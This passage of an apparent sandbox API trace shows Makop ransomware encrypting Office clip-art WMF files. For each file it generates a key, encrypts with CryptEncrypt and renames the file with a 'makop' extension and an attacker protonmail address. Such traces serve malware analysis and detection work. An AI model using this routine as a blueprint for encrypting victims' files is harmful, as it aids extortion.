lpNewFilePointer=0x0) returned 1 [0143.192] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6030, lpOverlapped=0x0) returned 1 [0143.193] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.193] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.193] SetEndOfFile (hFile=0xf0) returned 1 [0143.200] GetProcessHeap () returned 0x48a0000 [0143.200] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.200] GetProcessHeap () returned 0x48a0000 [0143.200] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.200] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.202] CloseHandle (hObject=0xf0) returned 1 [0143.202] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9c1f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a9c1f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x108a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00685_.WMF", cAlternateFileName="")) returned 1 [0143.202] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 63 [0143.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.204] GetProcessHeap () returned 0x48a0000 [0143.204] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.204] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0143.238] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.238] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.238] GetProcessHeap () returned 0x48a0000 [0143.239] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.239] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.239] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.239] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.239] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.239] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.239] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.239] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.240] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.240] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.240] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.240] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.240] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x108a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x108a, lpOverlapped=0x0) returned 1 [0143.244] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1090, dwBufLen=0x1090 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1090) returned 1 [0143.244] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.245] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1090, lpOverlapped=0x0) returned 1 [0143.245] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.245] SetEndOfFile (hFile=0xf0) returned 1 [0143.251] GetProcessHeap () returned 0x48a0000 [0143.251] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.252] GetProcessHeap () returned 0x48a0000 [0143.252] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.252] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.257] CloseHandle (hObject=0xf0) returned 1 [0143.257] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78490a00, ftCreationTime.dwHighDateTime=0x1bf0b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78490a00, ftLastWriteTime.dwHighDateTime=0x1bf0b13, nFileSizeHigh=0x0, nFileSizeLow=0x112e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00686_.WMF", cAlternateFileName="")) returned 1 [0143.257] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF") returned 63 [0143.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.258] GetProcessHeap () returned 0x48a0000 [0143.258] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.259] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.259] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0143.362] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.362] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.362] GetProcessHeap () returned 0x48a0000 [0143.363] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.363] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.363] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.363] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.363] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.363] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.363] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.363] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.364] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.364] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.364] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.364] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.364] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x112e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x112e, lpOverlapped=0x0) returned 1 [0143.366] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1130, dwBufLen=0x1130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1130) returned 1 [0143.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.367] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1130, lpOverlapped=0x0) returned 1 [0143.367] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.367] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.367] SetEndOfFile (hFile=0xf0) returned 1 [0143.374] GetProcessHeap () returned 0x48a0000 [0143.374] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.374] GetProcessHeap () returned 0x48a0000 [0143.374] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.374] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.376] CloseHandle (hObject=0xf0) returned 1 [0143.376] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d3900, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb45d3900, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00693_.WMF", cAlternateFileName="")) returned 1 [0143.376] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF") returned 63 [0143.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.378] GetProcessHeap () returned 0x48a0000 [0143.378] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.378] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.378] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.378] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.391] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.391] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.391] GetProcessHeap () returned 0x48a0000 [0143.391] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.391] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.391] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.391] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.391] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.391] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.392] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.392] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.392] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.392] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.392] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.392] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.392] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1138, lpOverlapped=0x0) returned 1 [0143.395] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1140, dwBufLen=0x1140 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1140) returned 1 [0143.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.395] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1140, lpOverlapped=0x0) returned 1 [0143.395] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.396] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.396] SetEndOfFile (hFile=0xf0) returned 1 [0143.402] GetProcessHeap () returned 0x48a0000 [0143.402] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.402] GetProcessHeap () returned 0x48a0000 [0143.402] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.403] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.405] CloseHandle (hObject=0xf0) returned 1 [0143.405] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49cc9e00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49cc9e00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00720_.WMF", cAlternateFileName="")) returned 1 [0143.405] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF") returned 63 [0143.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.406] GetProcessHeap () returned 0x48a0000 [0143.406] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.406] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.406] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.406] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0143.411] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.411] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.412] GetProcessHeap () returned 0x48a0000 [0143.412] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.412] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.412] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.412] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.413] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.413] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.413] SetFilePointerEx 